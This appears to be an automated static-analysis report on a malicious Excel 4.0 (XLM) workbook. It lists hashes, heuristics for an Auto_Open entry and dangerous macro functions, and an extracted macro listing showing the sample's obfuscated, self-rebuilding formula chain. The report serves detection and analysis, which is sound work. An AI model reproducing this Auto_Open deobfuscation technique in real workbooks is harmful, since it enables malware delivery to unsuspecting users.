Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 66bd317fd1d5a6f1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:37 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 083dda2a7bef43c7e0f98af224cc67ed SHA-1: fa4a1a680298591d6c1665afb5e576302c431dbc SHA-256: 66bd317fd1d5a6f12f8500a5dc8f20aee544fd4412831b5accb372bdc6f1d5ed
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6590 bytes
SHA-256: 5e92e94454f155c5d79961149decc05ad0bbe4f26f5b1dea60320b0b55b5b881
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RriotNuUV
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H175 
' 0018     23 LABEL : Cell Value, String Constant - bpEeDvQI len=0 
' 0018     25 LABEL : Cell Value, String Constant - bYEgpyCCEm len=0 
' 0018     24 LABEL : Cell Value, String Constant - CaerGmlFQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - DphryfHrhwVM len=0 
' 0018     22 LABEL : Cell Value, String Constant - DulOHwh len=0 
' 0018     27 LABEL : Cell Value, String Constant - dxUUWYcskcvC len=0 
' 0018     24 LABEL : Cell Value, String Constant - MTBfUahyI len=0 
' 0018     20 LABEL : Cell Value, String Constant - MUyzw len=0 
' 0018     24 LABEL : Cell Value, String Constant - nMaFGBfNy len=0 
' 0018     23 LABEL : Cell Value, String Constant - nXebgGvU len=0 
' 0018     21 LABEL : Cell Value, String Constant - pBvDzS len=0 
' 0018     23 LABEL : Cell Value, String Constant - puxuNdCM len=0 
' 0018     22 LABEL : Cell Value, String Constant - PWxemGf len=0 
' 0018     26 LABEL : Cell Value, String Constant - qBIuXjCprMB len=0 
' 0018     23 LABEL : Cell Value, String Constant - QHjcsMYJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - rWgfIb len=0 
' 0018     27 LABEL : Cell Value, String Constant - SDGzjbbBUQtZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - SZDWpVoTplt len=0 
' 0018     23 LABEL : Cell Value, String Constant - vfkIkRuP len=0 
' 0018     22 LABEL : Cell Value, String Constant - wlsPgsc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RriotNuUV,H82,"SET.NAME("bYEgpyCCEm",VALUE("0"))",""
'  RriotNuUV,H84,"SET.NAME("CaerGmlFQ",bYEgpyCCEm)",""
'  RriotNuUV,H86,"SET.NAME("qBIuXjCprMB",bYEgpyCCEm)",""
'  RriotNuUV,H90,"SET.NAME("QHjcsMYJ",COUNTA(pBvDzS))",""
'  RriotNuUV,H95,"SET.NAME("wlsPgsc",COUNTA(PWxemGf))",""
'  RriotNuUV,H98,[],""
'  RriotNuUV,H103,"SET.NAME("MTBfUahyI","")",""
'  RriotNuUV,H106,"CaerGmlFQ",""
'  RriotNuUV,H110,"SET.NAME("dxUUWYcskcvC",HLOOKUP("*",pBvDzS,CaerGmlFQ,FALSE))",""
'  RriotNuUV,H113,"bpEeDvQI",""
'  RriotNuUV,H115,"SET.NAME("SZDWpVoTplt",bYEgpyCCEm)",""
'  RriotNuUV,H119,[],""
'  RriotNuUV,H121,"SZDWpVoTplt",""
'  RriotNuUV,H125,"SDGzjbbBUQtZ",""
'  RriotNuUV,H129,"MUyzw",""
'  RriotNuUV,H132,"DulOHwh",""
'  RriotNuUV,H136,"SET.NAME("puxuNdCM",VALUE(HLOOKUP("*",PWxemGf,DulOHwh,FALSE)))",""
'  RriotNuUV,H140,"rWgfIb",""
'  RriotNuUV,H145,"MTBfUahyI",""
'  RriotNuUV,H150,"qBIuXjCprMB",""
'  RriotNuUV,H154,NEXT(),""
'  RriotNuUV,H157,"vfkIkRuP",""
'  RriotNuUV,H161,"SET.NAME("f",INT(T(FORMULA(T(MTBfUahyI)&"",""&T(vfkIkRuP)))))",""
'  RriotNuUV,H165,"nXebgGvU",""
'  RriotNuUV,H169,NEXT(),""
'  RriotNuUV,H171,RETURN(),""
'  RriotNuUV,H197,"SET.NAME("DphryfHrhwVM",H82)",""
'  RriotNuUV,H200,"pBvDzS",""
'  RriotNuUV,H203,"SET.NAME("PWxemGf",R64C14)",""
'  RriotNuUV,H206,"SET.NAME("nXebgGvU",212)",""
'  RriotNuUV,H209,"SET.NAME("nMaFGBfNy",8)",""
'  RriotNuUV,H211,DphryfHrhwVM(),""
'  RriotNuUV,H212,HALT(),""

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